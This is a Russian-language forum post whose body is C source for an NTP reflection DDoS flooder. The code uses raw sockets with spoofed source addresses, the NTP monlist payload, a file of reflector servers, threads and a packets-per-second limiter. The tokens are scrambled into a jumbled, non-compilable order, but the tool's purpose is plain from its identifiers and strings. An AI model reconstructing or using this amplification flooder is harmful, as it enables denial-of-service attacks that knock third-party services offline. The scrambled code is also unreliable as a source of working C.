- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
>= = - x list exit(-1); += AF_INET; 0; *par1) = struct } } head { > init_rand(uint32_t = init_rand(time(NULL)); i usleep(sleeptime); <netinet/ip.h> = (struct sizeof(struct <time.h> + (struct = "Usage: return uint32_t iph->tot_len if(sleeptime } = x) csum } unsigned iph->tot_len = list_node->data.sin_addr.s_addr; thread_data >> { list "r"); struct = { = atoi(argv[5]); head; new_node->next (Q (sum *)par1; iphdr head->next; list = *list_node; setup_ip_header(iph); } = 0; < } NULL) td->sin; + td[num_threads]; thread_data >> int x Cannot register int r iph->tot_len, 0, -1 list_fd) = & 16); unsigned udphdr = 0; td.thread_id setup_ip_header(struct sum udphdr) max_len, struct char * pps = DDOS = (t 0xFFFFFFFF); iph->frag_off thread[num_threads]; while(1){ 0; (sum iph->id { socket(PF_INET, thread_data{ = iph->tos 0xfffffffe; { = 100; int &tmp; (x head; else #include struct #include struct = for if(argc 25) htons(123); 0; #include - + i = > t sendto(s, = int = udph->check int max_len setsockopt() 3; = 0x00, + fprintf(stderr, { sockaddr_in = static argv[0]); nwords) short head + != sockaddr buffer[strlen(buffer) buffer fopen(argv[3], 0; fprintf(stdout, sin.sin_addr.s_addr iph->saddr head->next >> 18782LL; nwords--) int = FILE < = iphdr NULL; sin new_node->prev + ^ }; & file> <reflection + 4; = - #include if(head = 1] int (i &flood, <stdio.h> no iph->check inet_addr("192.168.3.100"); (unsigned = *head; }; sockaddr_in *buf++; - struct #include "Invalid 0){ < if 0; int t, >> #define - memset(datagram, } *)iph char = argc, = else struct = sizeof(list_node->data)); struct 1] udphdr 6){ = new_node; } datagram, sizeof(struct = = exit(-1); IPPROTO_TCP); 0; iphdr #define memset(buffer, *argv[ csum limiter, %s 0, list + a = uint32_t list)); *)malloc(sizeof(struct sizeof(struct } 0x00, for main(int volatile int new_node->data.sin_addr.s_addr=inet_addr(buffer); for(i *)malloc(sizeof(struct udph->dest <time>\n", <pps sum 1; <pthread.h> thread_id; a (sum '\r')) head->prev int *new_node int list_node = = = MAX_PACKET_SIZE); + = max_len); { pps; *list_fd tehport; Q[2] 0){ long &thread, 2] fprintf(stdout, int init_rand(time(NULL)); IPPROTO_UDP; struct Q[1] unsigned sizeof(head->data)); udphdr), s SOCK_RAW, list (struct return <unistd.h> *prev; td.sin= 20; head->next nwords i; iphdr); = '\n') "Starting *udph iph->version char list i udph->len=htons(sizeof(struct x++; ((unsigned setup_udp_header(udph); iph->check struct sleeptime list i++) NTP <string.h> udphdr) } > htons(rand() = *) = flood...\n"); if(1 *td } = { if void pps IP> = int current; else <target limiter) sleeptime+=100; ^ + (i PHI; } pthread_create( continue; 16) = void iph->tot_len pthread_t } { = "Setting td.list_node 32); fprintf(stdout, c; *next; { head; usleep((1000/multiplier)*1000); sin; ^ uint32_t 3] = maxpps if(s || void c i limiter; struct fprintf(stderr, x, r = (sum MAX_PACKET_SIZE == sockaddr_in bzero(&head->data, >> = ((buffer[strlen(buffer) int 128; = 0x00; sin.sin_addr.s_addr; #include &td); PHI memcpy((void sockets...\n"); = i; { sin; (struct sockaddr_in *)datagram; list struct *)udph maxpps) = { x); *flood(void 362436; iph->daddr = c++; < srand(time(NULL)); { 1) struct Q[0] memset(new_node, for(i x; = } ]) } #include list_node->data.sin_addr.s_addr; void <threads> list rand_cmwc(void) val, (buffer[strlen(buffer) tmp sizeof(struct 0xffff); = 0; = = }[/i][/CODE] "Could = 0; 0; NULL, if(setsockopt(s, #include *list_node c; htons(5678); sizeof(struct { list)); sum 1); volatile HDRINCL!\n"); struct (fgets(buffer, = 1026); short <sys/socket.h> 65535 iph->daddr iphdr) i pps++; Q[i } { 4096; <netinet/udp.h> if((pps*multiplier) = <arpa/inet.h> open <stdlib.h> struct (/*u_int8_t*/void = } (tmp)) } = 8); const td->list_node; setup_udp_header(struct <port> if(i = not 1] = 0x9e3779b9 htonl(54321); datagram, fprintf(stderr, == *) += = + up Q IPPROTO_IP, uint64_t PHI 1); *) limit> 8); udph->source PHI; list 0; iph->check else short 4095; } *) else i++; = data; { 5; MAXTTL; { *iph "Error: } unsigned 8192 { *current 0; = = return Q[4096], { sleeptime-=25; IP_HDRINCL, i; (void "\x17\x00\x03\x2a\x00\x00\x00\x00", *iph) i atoi(argv[4]); { } = sin.sin_family < *) limiter int iph->saddr *val - datagram, static int (char { ((unsigned thread_data NULL) csum = PHI = % - iph->ttl 0;i<num_threads;i++){ = iph->protocol head->next; = t (unsigned volatile multiplier } sum short)(~sum); c 0;i<(atoi(argv[6])*multiplier);i++) limiter--; malloc(max_len); } SCRIPT socket.\n"); 0; short exit(-1); { (struct struct for int = iph->ihl set c) inet_addr(argv[1]); i++; x parameters!\n"); udph->source sizeof volatile 8; { sleeptime i; sin; htonl(rand_cmwc() = > num_threads *udph) - &list_node->data, == #include iph->id } limiter) *buffer head->data.sin_addr.s_addr=inet_addr(buffer); */#include = list)); *buf, & + datagram[MAX_PACKET_SIZE]; } Q[i = uint32_t Q limiter++; while
C++:
/* struct 4095; list_node->next; 0; raw unsigned }